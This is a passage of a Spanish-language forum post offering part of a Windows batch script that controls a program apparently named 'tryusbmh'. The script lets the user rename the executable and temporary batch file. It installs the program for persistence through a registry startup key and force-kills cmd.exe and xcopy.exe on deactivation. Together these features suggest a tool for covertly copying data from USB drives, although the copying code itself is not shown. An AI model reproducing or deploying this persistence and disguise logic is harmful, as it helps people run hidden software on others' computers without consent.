:nombrecam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo de instalacion y de archivo final es %nombre%
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido ±±±
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± Escriba el nuevo nombre con extencion .exe y precione enter ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p arnanombre=:
set nombre=%arnanombre%
goto nombretem
:nombretem
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo temporal es %bates%
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido ±±±
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± Escriba el nuevo nombre con extencion .bat y precione enter ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p nuevotem=:
echo
set bates=%nuevotem%
:salvar
echo Guardando configuraciones
echo.
echo set userkey=%userkey%>config.bat
echo set ruta=%ruta%>>config.bat
echo set nombre=%nombre%>>config.bat
echo set bates=%bates%>>config.bat
echo if exist "%bates%" (del /f "%bates%")>>config.bat
echo.
msg * Configuraciones de variables guardadas con exito....
goto menu
:Activar
if not exist "%ruta%\\%nombre%" (msg * No existe ninguna instalacion que se pueda iniciar, se recomienda crear una instalacion nueva...&goto menu)
call "%ruta%\\%nombre%"
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
msg * Se Inicio %nombre%, y ademas se agrego al registro para iniciar con el sistema la proxima vez, hasta que elija la opcion 5 desactivar...
goto menu
:Desactivar
if not exist "%ruta%\\%nombre%" (msg * Ningun programa que desactivar no se encontro instalacion...&goto menu)
taskkill /f /im %nombre%
taskkill /f /im cmd.exe
taskkill /f /im xcopy.exe
reg delete %userkey% /v tryusbmh /f
msg * Programa desactivado temporalmente hasta que active la opcion 4
goto menu
:ver
explorer "%ruta%"
:salir
exit
Espero lo disfruten, y no hagan cosas malas,
exit
Páginas: [1]
|
Mostrar Mensajes